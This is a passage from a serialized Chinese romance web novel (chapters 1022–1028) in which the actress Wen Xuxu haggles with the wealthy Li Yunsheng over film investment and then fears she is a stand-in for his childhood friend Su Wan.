可前脚刚踏出门槛,身后便传来黎云笙淡若清风的声音:“投资剧本的事不打算谈了?不找我投资,你还打算找谁?” 话音未落,温栩栩的脚步猛地顿住。 韩城那句“黎狗”在脑海中回闪,怪不得韩城喊他狗。 这人是真的狗!故意逗她欺负她,偏偏在她打算离开时抛下这枚重磅炸弹。 可投资的事关乎整个剧组的生死……她深吸一口气,硬生生将胸腔里翻滚的火气压下去。 转身时,脸上已挤出一抹标准化的笑容,甜得能掐出蜜来:“当然还是要找黎少爷您投资啦!黎少爷英明神武,眼光独到——”她舌尖抵住后槽牙的夸着捧他。 但要说勉强其实也没太勉强。 黎云笙倚在沙发扶手上,衬衫袖口随意卷至小臂,露出线条冷硬的手腕。 他淡淡嗯了一声,尾音却微微上扬,像根羽毛搔过人心。温栩栩的心跳突然漏了半拍,他这副慵懒又掌控全局的模样,总让她想起蛰伏的豹子。 “那黎少爷,咱们要不要谈谈投资的具体事宜?”她刻意坐得端正,却在暗中调整坐姿,让裙摆更妥帖地遮住膝盖,方才挣扎时,布料滑上去了一截,露出他昨夜留下的暧昧痕迹。 黎云笙的视线扫过她发白的指尖,黑眸深处泛起涟漪。“我看过你给我的策划案,你提到服化道要最好的,拍摄后期也要顶级团队?” 他忽然开口询问。 温栩栩心尖一颤。 原剧本预算确实只需几千万,但此刻她索性赌一把:“对!剧本质量必须顶尖,服化道自然要配得上!”她眨眨眼,无辜得像只狡狐。 “黎少爷觉得,投资翻倍……能行吗?” 空气突然粘稠起来。 黎云笙的拇指摩挲着茶杯沿,指节在瓷壁上敲出轻响,仿佛敲在她绷紧的神经上。 “翻倍?”他轻笑出声,“你真这么想?” 温栩栩的耳尖悄悄泛红。 她咬住下唇,突然倾身凑近。 发丝垂落在他手背,痒得他指尖微蜷。“黎少爷若觉得值,翻倍又何妨?”她的呼吸拂过他耳畔,“毕竟,好剧本配上好制作,回报率可是几何倍增呢。” 黎云笙的喉结悄然滚动。他忽然抬手,指尖勾住她一缕发丝,绕在指间把玩。“温小姐的算盘,打得倒是响亮。”他的声音突然沉下去,热气喷在她颈侧,“但我要的回报……未必是钱。” “那黎少爷想要什么?”她故作镇定地问,喉咙却发紧。 黎云笙的唇畔微勾“我要你……三天内,不准在心里骂我。” 温栩栩的瞳孔骤然收缩。 这个条件简直比割肉还苛刻!她时时刻刻都在心里骂他——变态、坏人、神经病,骂得花样百出!可现在,为了投资,她只能将千万只尖叫鸡咽回肚子里。 但为了投资,温栩栩只能委屈下自己,暂时不骂黎云笙了。 “成交。”她咬牙应下。 黎云笙却忽地倾身,鼻尖几乎抵上她的。 温栩栩能感受到他呼吸里带着的压迫感。“若让我发现你骂了……”他尾音拖长,指尖抚上她颤抖的唇,“那手铐还会再次用到你身上。” 那你真的很变态了。 温栩栩欲言又止。 但此刻看着近在咫尺的男人,温栩栩还是控制不住的心跳骤然失控。 他指尖的温度烫得她唇瓣发酥,脑海中突然闪过昨夜他咬住她耳垂的画面。 羞耻感如潮水涌来,她慌忙后退,高跟鞋却绊到地毯边缘。 黎云笙眼疾手快地揽住她的腰。 温栩栩跌进他怀里,鼻尖撞上他结实的胸膛,嗅到他衬衫下隐约的肌肉线条。 她的脸颊烧得能煎鸡蛋,却又不敢推开他,此刻的他,像头终于撕开伪装的兽,而她成了掌心的猎物。“这么着急投怀送抱?”他低笑。 温栩栩气得瞪他,杏眼圆睁却带着水光,像只被欺负狠了的小兽。 她张嘴想反驳,却发现自己连生气的力气都散了三分。 “我要走了!我真的要走了!” 温栩栩还是非常能够能屈能伸的,跟黎云笙聊完就跑的没了影子,生怕自己被黎云笙抓住继续给她关起来。 再留下去她真的觉得黎云笙会把她关起来的。 拜托,黎云笙很变态的,她才不想一直哄变态。 而且黎云笙是真的变态,不然呢,谁家好人在自己公寓里面放手铐还蒙人眼睛的! 第1023章 这人,就是不正经的很 这人,就是不正经的很。 温栩栩跑远了。 黎云笙倚在落地窗前,凝视着她仓皇逃离的方向。 阳光斜斜切进房间,在他身上镀上一层冷金色,却衬得眉目愈发晦暗。 温栩栩纤细的身影逐渐缩成芝麻大小,蹦跳的弧度像蝴蝶振翅,最终消失在转角。 他唇角方才的笑意,如同被风倏然吹散的烛火,彻底湮灭。 眸光沉入墨潭,他指尖无意识摩挲着窗棂。 他见过太多逢场作戏的人,旁的人很少能近他的身,特别是女性,唯有她——唯有那个总骂他变态的温栩栩,会在挣扎时揪乱他的衬衫,会在气极时瞪出湿漉漉的杏眼,像只炸毛却不敢亮爪的猫。 那些鲜活的情绪,实在是很勾人啊,勾的他无法移开视线。 从黎云笙的公寓逃出来时,七月灼热的阳光正刺得人眼睛发疼。 温栩栩攥着手机,掌心沁出一层薄汗,高跟鞋在柏油路上敲出急促的哒哒声。 Sara的电话来得突兀。 她向来沉稳的声音里竟带着罕见的急促:”栩栩,你现在在哪?我有急事找你,星黛儿甜品店B03包厢,必须来一趟!”挂断前,温栩栩分明听见电话那头纸张翻动的沙沙声。 星黛儿甜品店坐落在梧桐掩映的老街,奶油色的外墙透出暖光。 温栩栩推开雕花木门时,甜腻的香草气息裹挟着冷气扑面而来。 包厢门虚掩着,她推开的瞬间,Sara正将一叠资料迅速塞进文件夹。 “坐。”Sara招呼她坐下,手指关节因用力而发白。 她向来妆容精致的面上此刻凝着罕见的凝重,口红都晕开了些许,像是赶得太急连补妆都来不及。 温栩栩的心猛地悬起能让Sara露出这般神色,事情绝非寻常。 Sara深吸一口气,将文件夹推至她面前。 “这是我托人查到的关于黎云笙的资料。”她指尖在资料上点了点,“黎家的权势太大,能挖到的信息有限,再往下查会惊动他们,我只能收手。但现有的这些……已经足够解释他为什么突然黏着你。” 温栩栩喉头微哽。她翻开文件夹,第一张照片便让她瞳孔骤缩。 那是张泛黄的班级合照。 十七八岁的黎云笙站在后排,面容青涩却已显冷峻,不同于现在的刀刻般锋利,那时的眉眼还带着少年特有的锋利与桀骜。 而他的目光,牢牢锁在第三排角落的女孩身上。镜头定格的那一刻,他正微微侧身,隔着人群凝视她,嘴角甚至漾着一抹极浅的笑。 温栩栩的手指在照片边缘发颤。 那个女孩有着与她相似的眼睛,相似的鼻尖弧度,相似的下颌线条……只是笑容更明媚,像盛夏里不染尘埃的栀子花。 “这是黎云笙的青梅竹马,苏婉。”Sara的声音染上寒意,“她几年前出道,黎云笙亲自为她成立娱乐公司,资源堆成山。业界都传,黎少为了捧她不惜得罪半个娱乐圈。而你现在……”她停顿片刻,眼底浮起忧色,“他们是没有在一起的,但肯定是有感情的,我怀疑……} Sara虽然没有直接说出来,但温栩栩明白了。 温栩栩的心跳仿佛在此刻停顿。 她想起黎云笙咬住她耳垂时的低语,想起他指尖抚过她唇瓣的暧昧,想起昨夜他醉酒后的模样……可此刻她却只觉得心酸。 原来她以为的独属于她的纠缠,不过是另一个人的影子。 “以我的目光来看,你比苏婉好太多了。”Sara咬牙道,“可黎云笙现在明显把你当替身。你看这些行程记录,他最近推掉的所有商务会议,全是为了你。”她将另一份文件摊开,密密麻麻的日程表上,黎云笙的名字旁赫然标注着“温栩栩”。 Sara确实没说错,之前走秀也是黎云笙陪着的。 温栩栩的指尖在“替身”二字上发僵。 她想起自己曾为黎云笙的霸道而心跳加速,为他偶尔的温柔而脸颊发烫,甚至在他失控的占有欲里,隐约生出一种隐秘的欢喜……可原来这一切,不过是场精心编排的戏码。 包厢里的空调突然显得太冷。 她抱住双臂,却止不住浑身的颤栗。 Sara忧心忡忡地按住她的手:“栩栩,我扛不住才告诉你这些。黎云笙不是普通人,若他把你当替身,你随时可能沦为他的玩物。你必须留个心眼儿,必要时……抽身吧,就算有韩城,也要尽快抽身。” 温栩栩的眼眶突然发热。 她死死咬住下唇,将酸涩的泪意咽回去。替身吗? 原来她不过是被命运掷入这场荒唐游戏中的道具。 可为何,得知真相的瞬间,心口会疼得像被剜去一块肉? 那些与他相处的瞬间明明带着真实的温度,那些暧昧的纠缠明明让她悸动……难道这一切都是假的? 温栩栩觉得心里很难过,难过的整个人此刻都好像有些恍惚。 甚至是不敢去相信Sara的话。 可事实摆在这里,容不得她不信了。 温栩栩低头翻看着照片,看到对方拿到的奖项会的乐器,甚至曾经参加过各类比赛。 她跟对方简直就是一个天一个地。 有了这样优秀漂亮的青梅,黎云笙怎么可能对她完全没有意思? 温栩栩不信,不仅不信还觉得黎云笙全都是装的。 Sara叹了口气:“温栩栩,我只想给你提个醒,这种事先完别告诉黎少,不然事情可能就要闹大了。” 温栩栩手机正打字,此刻愣了下。 “啊?我已经发出去了?” Sara人都有点懵了,她是真没想到温栩栩能这么虎的啊,说问就问,根本不带研究话术的。 “你发了什么?”Sara赶紧问,生怕温栩栩问问题也问错了。 温栩栩发的是:“你真的只喜欢苏婉吗?你是不是渣男?你都有青梅竹马了还勾搭我,呸,渣男!坏蛋!” 一句一句的骂的让人完全无发生气。 黎云笙收到信息的时候还在看文件,看到温栩栩一连发了好几条,黎云笙缓了下点开手机就看到了温栩栩的问题。 第1024章 顶多就是被他欺负了一下 黎云笙盯着手机屏幕上温栩栩那句“渣男”的指控,眉峰微挑,指尖在玻璃桌面轻叩。 午后阳光斜斜切进房间,在他冷峻的侧脸投下棱角分明的阴影,却衬得眸底那抹困惑愈发清晰。 他实在想不通,为何自己又平白无故被扣上这顶帽子,怎么就突然又变成渣男了。 而且……又是谁对温栩栩提到了苏婉? 苏婉确实是他的青梅竹马,还是关系很好那种,这家影视公司也的确是为苏婉建立的,还曾经让刚出道的苏婉担任过星黛儿的代言人,可以说好的资源全都优先给了苏婉,苏婉现在虽然还是二线,但因为黎云笙的帮扶,在娱乐圈已经不是查无此人了。 黎云笙眉头微挑,给韩城发了信息。 【黎云笙】:你告诉温栩栩有关苏婉的事了? 不怪黎云笙第一个想到韩城,实在是因为韩城是最不靠谱的一个。 韩城那边几乎秒回。 消息刚发出去,手机便震得像只暴躁的蜂。 【韩城】:?你不要冤枉人啊! 韩城似乎真觉得自己被冤枉了,下一秒电话就打进来唧唧歪歪。 韩城来电界面疯狂闪烁,黎云笙连按三次挂断,对方却像装了追踪器,锲而不舍地再次打来。 第四次震动响起时,他索性将手机倒扣在桌面,任由铃声在寂静的办公室回荡如催命符。 但韩城也继续打,颇有一种你不接我电话我就要一直打的感觉,浑然不觉自己这已经是“骚扰”了。 韩城的声音透过听筒炸响,带着少年特有的咋呼劲儿,“我韩城要是泄露半句,直播吃键盘!” “我才没有跟我兄弟说你跟苏婉的事情!” 黎云笙终于按下接听键,将手机挪开耳畔半寸。韩城的抱怨如连珠炮。 “哇!你跟苏婉又旧情复燃了吗!” “可恶,果然是渣男!” 讲道理,黎云笙现在听不得“渣男”这两个字,大概因为被温栩栩骂了一天的渣男,已经麻了。 麻了,是真的麻了。 从被她当面甩了“渣男”标签,到现在被韩城复读机似的念叨,这两个字早从刺耳的指控,变成了轻飘飘的羽毛,挠得人心痒。 黎云笙听到渣男两个字就想挂电话了。 韩城还叽歪叽歪,黎云笙什么都没听,说了什么重点都没记得,就记住叽里呱啦一堆然后是渣男,对,就是一直在骂他渣男。 黎云笙气笑了,挂电话。 他转身回到办公桌前,打开与温栩栩的对话框。拇指悬在键盘上方,删删改改数次,最终敲下: 【黎云笙】:谁跟你说的? 【黎云笙】:不许在心里偷偷骂我。 【黎云笙】:你是想我把你带回来亲自解释? 最后那个带着调侃意味的表情,是他刻意添上的。 他想象着温栩栩看到时,会咬着吸管瞪圆眼睛的模样,就像上次她气鼓鼓地撕开奶茶杯包装,想到这儿,他唇角弧度不自觉加深,连带着周身冷冽的气场都软了几分。 …… 温栩栩指尖在屏幕上轻点,将短信发送记录截图发给Sara。 消息发送成功的提示音刚响起,对面传来一声压抑的吸气声,Sara的咖啡杯在半空顿住,深褐色的液体险些溅出杯沿。 Sara眼前一黑又一黑。 她抬眼看向温栩栩,瞳孔微微放大,镜片后的目光带着难以置信的震惊。 “不是?”Sara终于找回声音,喉间发出类似被噎住的音节。 她猛地放下杯子,陶瓷与木质桌面的碰撞发出清脆声响,咖啡在杯底晃出涟漪,“你就这么直接……把‘渣男’两个字发给他了?真不怕黎云笙生气?” 她音调上扬,尾音带着颤,“黎云笙是什么很好脾气的人?那可是黎云笙啊!” 温栩栩倚在沙发靠背上,双腿随意交叠,裙摆随着动作滑至膝上。 她漫不经心地拨弄着指甲,指尖在阳光下泛着珍珠般的莹润。 “他脾气确实挺好的。”她语气轻快,带着几分狡黠的笑意,“上次我当面骂他渣男,他也没怎么着我呀。” 话音未落,脸颊却悄然浮起一抹薄红,像被晚霞染过的桃瓣。 顶多就是被他欺负了一下,虽然她也挺喜欢那种欺负的吧…… 温栩栩有点点小心虚。 Sara盯着她这副模样,喉头哽了哽,端起咖啡猛灌一口。 液体滑入喉咙的灼热感却未能压下震惊,她抬手抹了抹嘴角残渍,目光胶着在温栩栩身上。 此刻的咖啡厅正沐浴在午后暖光里,落地窗外梧桐树的影子婆娑摇曳,斑驳光影在她脸上游移。 但温栩栩的美却像钻石,无论光线如何流转,始终锋利而耀眼。 “你平常都是这么跟他说话的?”Sara实在忍不住追问,指尖无意识地在杯沿摩挲。 她想起黎云笙在业界雷厉风行的传闻,那位手段凌厉到让合作方胆寒的黎少,在温栩栩这儿竟成了能任由“欺负”的对象?这简直像童话里吃人的巨兽突然变成绒毛玩偶,荒诞且不真实。 温栩栩眨眨眼,长睫如蝶翼轻颤。 她歪头思索片刻,唇角都还带着笑意:“对啊,他这人吧,看着吓人,其实心软得很。我骂他渣男的时候,他顶多就……” 她尾音拖长,突然想起黎云笙的恶劣模样。耳尖悄悄发热,她轻咳一声掩饰,“顶多就吓唬我几句,不会真生气的。” Sara望着她这副浑然不觉危险的模样,心头泛起苦涩的滋味。 温栩栩确实是很漂亮,不,应该说是特别漂亮的那种。 作为资深时尚顾问,她阅人无数,温栩栩的美在她眼中近乎完美。 颅顶饱满如瓷,下颌线锋利流畅,天鹅颈与锁骨线条堪称教科书级别,连那双漂亮的眼睛,都带着琥珀般的剔透感。 骨相完美,皮相完美,身材也很好,她作为女性,或者说作为资深时尚顾问,她最喜欢的就是温栩栩这类人,任何衣服在她身上都会被完美的诠释出来,让人觉得是一场视觉盛宴。 她曾无数次幻想温栩栩踩着高跟鞋踏在T台,用气场点燃整个秀场,可那172cm的身高,终究成了国际超模之路的绊脚石。 第1025章 她又不是很廉价的人 若不是温栩栩身高不够,Sara真的很想签下温栩栩带她走国际秀了。 现在想起来也还是会觉得可惜的程度。 连她看到温栩栩这样的人,都会忍不住喜欢,那黎云笙呢? 按照温栩栩的意思,黎云笙对她很温柔,甚至能由着温栩栩这么作……这么说,反正Sara知道的人里面,除了韩城那几个,几乎没人敢这样说了。 她忍不住为温栩栩揪心。 实在是担心温栩栩一时上头,以后被黎云笙骗身骗心。 她深吸一口气,正色道:“你……你还是小心点注意点。他现在宠着你,等日后对你没兴趣了,说不定会想起你现在说过的话。” 她语调郑重,“人心难测,黎云笙那种人,表面温和,骨子里……”她忽然顿住,想起黎云笙那些传闻中的手段,喉间的话打了个转,“总之,别太依赖这份特殊。” 虽然黎云笙可能不是那种人,但Sara还是想提醒温栩栩。 温栩栩小声嘀咕“我也没让他宠啊,而且谁让他是渣男了,有了苏婉还找我做什么,我又不是很廉价的人,这样真的会让人很生气的。” 温栩栩这就气上了。 Sara望着她这副模样,一时无言。她见过太多女孩在权势面前妥协,温栩栩此刻的恼怒与倔强,都是有些人不敢有的,黎云笙对她的宠溺可见一斑,若换做旁人,早被驯成温顺的雀鸟,哪敢这般“小作”?她端起咖啡杯,杯沿在唇边顿了顿,还想叮嘱几句却听到温栩栩开口了。 “Sara姐,你能给我说说那位苏小姐的身份吗?”温栩栩突然抬眼,眼底闪着好奇的光,她其实挺想知道,能让黎云笙费心建立影视公司、捧上星黛儿代言人的青梅竹马,究竟是何方神圣。 Sara瞥她一眼,镜片后的目光变得锐利:“你知道这些,是因为对黎云笙有意思?” 温栩栩喉间哽了哽,睫毛垂落如蝶翼。 她没说话,但耳尖悄然染上绯色,像是默认,又像是羞赧。 窗外梧桐叶沙沙作响,阳光从叶隙漏进来,在她发梢跳跃,衬得那抹红晕愈发动人。 Sara叹了口气,杯底与桌面相碰发出轻响:“算了,你对他有意思也可以。毕竟黎云笙那张脸,确实能让所有女人心动。但你要记得,别让自己受伤,别真的跟我那位学生一个下场。” 提及赵云河,Sara的手蓦地攥紧杯柄。 她想起那个雨天,女孩蜷缩在办公室角落,哭得眼睛红肿如桃,嘴里喃喃着“他说会娶我”的绝望模样。 那是她最优秀的学生,却被赵云河的甜言蜜语蛊惑,最终落得人财两空还丢了性命。 自此,她成了学生口中的“女魔头”,耳提面命地警告她们远离有钱人,却总被误解为阻人攀高枝。咖啡凉了,苦涩在舌尖蔓延,她却浑然不觉。 “赵云河的事情对我来说很重要”她嗓音发哑,镜片后泛起水光,“每次看到那些有钱人接近我的学生,我就害怕……怕她们重蹈覆辙。” 温栩栩伸手覆上Sara的手背。 “Sara姐,你放心。”她轻声安抚,眼底难得正经,“我心里有底的。起码……我身后还有韩城护着呢。” 提及韩城,她唇角又翘起。那位玩世不恭的公子哥,虽总爱逗她,但真要出事,定会第一个冲在前头。 这点信任,她倒是笃定。 Sara闻言,眉宇间的阴云终于散了三分。她何尝不知韩城与黎云笙的交情?有那人盯着,温栩栩至少不会像她的学生一样。 “你对他有意思也可以,毕竟黎云笙长得确实好,你注意不要让自己受伤,不要真的跟我那位学生一个下场就好了。” 她心里的苦没人知道。 她不是一次提醒让她们小心那些有钱人,却还是有人认为她这是在阻她们嫁入豪门的命。 不过温栩栩的话她那天也听进去了,知道温栩栩心里有底,起码温栩栩身后是真的有韩城护着的,所以Sara也不是那么担心。 “苏婉是帝城苏家的独女。”Sara的指尖无意识地在咖啡杯沿摩挲,深褐色的液体在杯底晃出涟漪,“早些年苏家经营实业,在帝城也算排得上号。但近几年行业变革,他们固守旧模式,资金链断裂,现在几乎到了破产边缘。苏婉的父亲曾私下找过黎少,希望他能注资救急。” 她停顿片刻,镜片后的目光掠过一丝复杂,“黎少虽然拒绝了,但并非无情。他分析过苏氏的财报,直言那已经是强弩之末,再砸钱进去,也不过是无底洞。黎少认为苏家已经没有任何前景,破产是必然结局。所以,他选择另一条路。” 温栩栩的睫毛在眼下投出小片阴影,她忽然想起那人处理事务时的冷冽眼神与此刻Sara的描述重叠。 “所以他给苏婉建立影视公司?”她轻声问,指尖无意识地在桌角画着圈。 裙摆下的双腿微微交叠,姿态看似随意,却透出一丝紧绷。 “没错。”Sara点头,杯中的咖啡早已凉透,她却浑然不觉,“捧她做星黛儿代言人,将最好的资源倾斜,都是希望她在娱乐圈站稳脚跟。黎少的心思了解的人都能明白,就算苏家真的破产,苏婉也能靠自己在娱乐圈谋生,不必沦为落魄千金。”她语调平静,却藏着对黎云笙手段的叹服,商人冷血与人性温情,在他身上竟融合得如此精妙。 温栩栩抿了抿唇,耳尖悄然发热。 她想起黎云笙曾说“公私分明”,此刻方知那四个字背后藏着怎样的决断。 “很多人觉得娱乐圈来钱快,可真相哪有这么简单。” Sara忽然话锋一转,声音沉了下去,“那些一线明星确实风光,代言费动辄千万,可十八线的生存状态……说出来你可能都不信。” 她摘下眼镜,用纸巾擦拭镜片的动作带着几分焦躁,“在海市帝城,他们挤在十几平的地下室,潮湿的墙壁渗着霉斑,每个月房租都要需要大半收入。” 第1026章 又在骂我? “为了角色,他们凌晨四点起床赶通告,在片场等上八小时,只为那几分钟的镜头。挣的钱不多,还要砸在保养上,皮肤管理、形体训练、应酬交际……” 她忽然冷笑,“那些网络喷子只会酸‘明星日入百万’,却看不见金字塔底下的累累白骨。多少人熬了十年,还在为一场客串的戏份求了多少人。” 温栩栩喉间哽了哽。 她当然明白,因为她就是十八线小演员,曾经是片场边缘的群演,灰头土脸地蹲在角落啃盒饭。 Sara继续道:“在娱乐圈里面一点小事就能毁掉前途,有很多人熬不住没有戏拍所以转行,一点小事都可能被人拍下来被人在圈内封杀,比如路边抽根烟,镜头一拍,热搜一挂,第二天官媒点名批评,代言商连夜解约。可现实生活中,多少男人在街边吞云吐雾,无人苛责?心理压力大到抑郁的,数都数不清。” “资源分配更是残酷。”Sara的语气愈发锋利,“有背景的新人,刚出道就能在热门剧里演配角,没后台的,只能从龙套跑起,攒了十年资历,台词都不过三句。那些年少成名的,要么天赋逆天,要么……身后有人托举。” 她忽然看向温栩栩,目光如针,“就像你,若没有韩城和黎云笙这层关系,星黛儿也不会找你走秀。” 温栩栩睫毛颤了颤,咖啡杯在掌心发烫。 娱乐圈内,就是藏着许多旁人看不见的博弈。 “娱乐圈的残酷,不过是社会的缩影。” Sara将眼镜重新戴上,镜片折射出冷光,“有名的大设计师,一张图能卖百万,可普通平面设计师月薪三千,加班到凌晨改方案,连锁餐饮集团年入几十亿,街边小馆老板为水电费愁白头,畅销书作家版税上亿,扑街作者连全勤奖都拿不到……这世界从来就没有公平,只看你能站在哪个位置。” 她忽然轻笑,笑意却未达眼底:“人们总爱盯着别人的‘捷径’骂不公平,却不愿承认——真正的公平,本就需要自己去挣。苏婉有黎云笙护着,是她的幸运,但更多人在泥潭里挣扎,连求救的声音都发不出。” “那群人骂那么多,无非是走这条捷径的人不是自己,所以才这样辱骂,如果真的是他们能走捷径,他们走的壁任何人都快,或者会直接用跑的用滚的。” “所以娱乐圈那一套,用在任何圈子都是一个道理。”Sara的语调染上几分冷嘲,咖啡杯被她重重搁在桌上,溅起的液珠在桌面晕开深色圆点,“那些酸明星的键盘侠,不过是因为自身实力不够,又看了太多营销号引战,才会把怨气撒在这些演员艺人身上。事实上,真正的底层演员艺人还在温饱线上挣扎,每天睁眼第一件事就是考虑要不要转行。”她镜片后的目光锋利如刃,仿佛要将这行业的虚伪外壳剖开给人看。 “黎云笙给苏婉选的路,确实聪明。”Sara的语气忽然缓和,目光重新落在温栩栩身上,“他为她铺好了退路,现在她是二线,未来或许能冲上一线。只要背后有黎云笙护着,就算苏家破产,她也能安稳度日。” 她忽然轻笑,笑意却未达眼底,“黎少对苏婉,是真的周全。”尾音戛然而止,却分明在暗示什么。 “你的形象这么好。”Sara忽然倾身向前,指尖轻点桌面,“骨相完美,气质清冷,又有韩城这层关系压着,没人敢怠慢你。若黎云笙现在还有兴趣,就该趁热打铁多要点资源。拿到和苏婉同等的曝光与代言,就算以后你们分开,你在圈内的位置也稳了。” Sara说这么多,就是为了让温栩栩向黎云笙多要点资源。 趁他还有兴趣,还没腻的时候,多要点资源。 她镜片后的目光如炬,仿佛要将温栩栩心底的犹豫烧尽,“别天真,他给你,你就收着。男人这东西……” 温栩栩睫毛颤了颤,喉间发出细弱的“嗯”。她明白Sara的苦心。 这是用经验淬炼出的生存法则。她低头搅动杯中冷掉的咖啡,苦涩在舌尖蔓延,却莫名觉得心安。 是啊,黎云笙又不缺资源,他想给,她干嘛不收?韩城是朋友,但黎云笙……他们现在暧昧纠缠,各取所需,本就是一场交易。 “我会考虑的。”她终于抬头语气坚定。 她……她本来也没打算跟黎云笙发展多久的关系,当然是能得到多少就是多少了。 不像她跟韩城之间,她是真的拿韩城当朋友的。 黎云笙呢?既然跟她暧昧,那总要给她点东西的吧。 对,就是这样。 温栩栩能听得出来Sara是在自己考虑的,她也很感激,也是真的把Sara说的话放到了心上。 Sara镜片后的目光终于柔和了几分。 她见过太多女孩在爱情里昏了头,温栩栩此刻的清醒,反而让她欣慰。 温栩栩还打算说些什么,手机却突兀地响起。 屏幕亮起黎云笙的名字,连续三条消息跳出来 连着三条信息。 还说什么要带她回去亲自解释。 拜托! 黎云笙把她带回去能有什么好心思!还不是要把她绑起来,说不定还要蒙住她的眼睛然后逼她就范,她可太懂了。 她才不要。 不听不看不回复。 温栩栩自己都不知道自己此刻脸颊微微带着点淡淡的粉。 她故意不理,指尖在键盘上戳戳戳,酝酿着拒绝的措辞。 黎云笙那头,手机屏幕持续显示“正在输入中”,五分钟过去,对话框仍固执地闪烁,还是正在输入中。 到底都写了什么,怎么一直都是正在输入中? 黎云笙皱眉。 【黎云笙】:又在骂我? 【黎云笙】:总不能是写了一篇八百字的小作文来骂我,你有那么多东西可写?词汇量有那么多? 温栩栩:“?” 这人瞧不起谁呢? 她脸颊悄然浮起薄粉,连耳尖都泛着绯色。 她索性破罐破摔,点进某购物软件,迅速找到代骂服务。 输入黎云笙的名片时,她特意备注:“语气别太脏,文明吐槽,别带脏字。”随后又让黎云笙通过刚申请的小号,一本正经地说那是自己新账号。 第1027章 下来谈谈 Sara见温栩栩一直在戳手机,见温栩栩点进了某购物软件,然后搜到了代骂服务后把黎云笙的名片推给了对方,甚至还备注不许骂的太脏,接下来又让黎云笙通过一下刚加他的小号 ,甚至义正言辞说那是自己的小号。 Sara:“?” “你真的找了个代骂去骂黎少?”Sara几乎是震惊的程度。 温栩栩的胆子到底能大到什么地步?怎么就能勇成这样的? 温栩栩转了下手机:“我都备注不许骂的太脏了,他如果不喜欢的话,大可以操作骂回来。” 这是喜不喜欢的问题吗? Sara觉得自己简直大受震撼。 她竟然还觉得黎云笙会骂回来的吗? 黎云笙哪有那么闲的啊! 是温栩栩想太多了! Sara震惊的还没再度问出来,韩城的电话就催命似的打到温栩栩这里了。 温栩栩还当韩城是有什么重要的事情所以打到了自己这里,赶紧接听了电话。 温栩栩接通了电话就听到韩城在那边嚷嚷:“栩栩,黎云笙有个青梅竹马苏婉你知道吗?这俩人要旧情复燃了!” 韩城见她接听电话就胡说八道。 反正黎云笙没说跟苏婉到底什么关系,而且黎云笙也没说不能现在打给温栩栩。 那之前他确实没高密,现在温栩栩不都已经知道苏婉的事情了?那就不算高密!算提醒! 韩城心里分的还挺清楚,清楚的估计黎云笙知道了都想踹他。 温栩栩别的什么都听不到了,就听到韩城说黎云笙和苏婉已经旧情复燃了。 就这么简单的旧情复燃了? 那她和黎云笙之间的算什么?算玩笑吗? 算她被黎云笙当成了玩笑,对吗? 温栩栩其实心里清楚自己的出身很难会被谁真的在意看中,只是没想到黎云笙的兴趣消散的这么快。 不过她其实也没有被怎么欺负,更不会有什么损失,相反还能和参加星黛儿的走秀,还拿到了新剧的投资,这已经很好了。 “韩城……”她声音沙哑,带着自己都未察觉的颤意。韩城那头却理直气壮:“我可没告密!黎云笙没明说不能提苏婉,现在你知道了,我这是提醒!” 他分明在强词夺理,温栩栩却无心计较。 她忽然轻笑,笑意却比咖啡更苦,是啊,她的出身卑微如尘埃,何曾奢望过被真正看重? 不过是利益场中的棋子,被需要时捧在手心,无需时便弃如敝履。 Sara在一旁将她的神色尽收眼底。少女垂眸时睫毛在眼下投出细密阴影,像蝴蝶折了翅膀。她忽然想起苏婉在娱乐圈的步步为营,再瞧温栩栩此刻的脆弱,仿佛看见两个被命运裹挟的棋子,在权贵的棋盘上辗转求生。 “栩栩,你可得小心!”韩城仍在电话里咋呼,“苏婉背景深厚,黎云笙对她向来不同。你虽然有星黛儿的资源,但……” 他的话戛然而止,似意识到自己戳中了痛点。 温栩栩却已平静下来,她摩挲着手机壳上凹凸的纹路,声音清冷如冰:“至少我拿到了星黛儿的走秀机会,还有新剧的投资。这些才是实在的,不是吗?” 咖啡厅吊灯的光晕在她发梢镀上一层金边,她忽然觉得自己像只披着孔雀羽毛的麻雀,看似璀璨,内里仍是卑微的骨。 但没关系,至少羽毛是真的,足够她在娱乐圈再飞一段。 至于黎云笙的心……她从不敢妄求,也没想过黎云笙能够真的喜欢她。 她还没有疯到做这种被黎云笙真正爱上的梦。 挂断电话时,她指尖划过屏幕,正好看到黎云笙的新消息:【我在你公寓楼下,下来谈谈。】 她望着那条信息,忽然轻笑出声。 谈什么?谈他如何辜负她的信任?还是谈利益如何分配? 她起身时,Sara欲言又止。 韩城说的那些话Sara也听到了,韩城说的直接,没有任何遮掩,也让Sara明白韩城对温栩栩是真的在意,也是真的担心。 而黎云笙对温栩栩,好像已经腻了。 Sara也知道温栩栩此刻大概是心里承受不住。 Sara自己都觉得黎云笙的心变得太快了。 也是,这些有钱公子哥们能有什么定性呢,当然是一天一个样。 眼看温栩栩打算离开,Sara望着她有些决然的背影提醒道:“栩栩,发生任何事都要记得,你自己才是最重要的。” 温栩栩笑了下谢过了Sara。 她垂首盯着屏幕,拇指悬在锁屏键上迟迟未落。 风卷起她的发丝,露出耳后那片小小的痣,那是黎云笙曾吻过的位置。 温栩栩忽然觉得胸腔里有什么在碎裂,像一片片被踩碎的玻璃,尖锐的疼痛在血管里游走。 她不该难过的,早就该猜到黎云笙只是逗弄她。 那暧昧的夜晚、他指尖的温度、耳畔的私语,不过是富家公子消遣的游戏。她这种出身的人,连被真心喜欢都不配拥有,不是吗? 她攥紧手机,力道大得指节发白。 屏幕上的“在哪”两个字像一根刺,扎进她竭力伪装的平静内心里。 她在心里冷笑,我在哪里跟你有什么关系呢?你不过是在猎艳名单上划去了我的名字,如今又好奇下一个猎物是谁? 她按下锁屏键,黑暗瞬间吞没了所有信息,仿佛连那点刺痛都一并掩埋。 但泪水却在眼眶里打转,她仰头看向高楼顶端闪烁的星,逼自己将酸涩咽回喉咙。 是她想要的太多了,是她太贪心了。 她不该奢望黎云笙的真心,不该因为他给的资源而暗自雀跃,不该在深夜里回味他那句“对你有兴趣”。 她只是他无聊时的消遣,是他用来炫耀的玩偶,如今玩腻了,便随手丢弃。 温栩栩想起自己曾为星黛儿走秀的机会雀跃,为那部新剧的投资欣喜,如今却觉得那些都成了讽刺,原来所有的机会都沾着他的施舍,一旦他抽回手,她便连感激都成了笑话。 街边的橱窗映出她模糊的影子,她忽然觉得那个影子好陌生。 原来在名利场里辗转的这阵子,她变得早就不纯粹了。 她学会了算计,学会了伪装,却在面对黎云笙时屡屡溃不成军。 第1028章 输在太容易心动 或许从一开始,她就输了,输在没有背景,输在太容易心动,输在分不清真心与戏言。 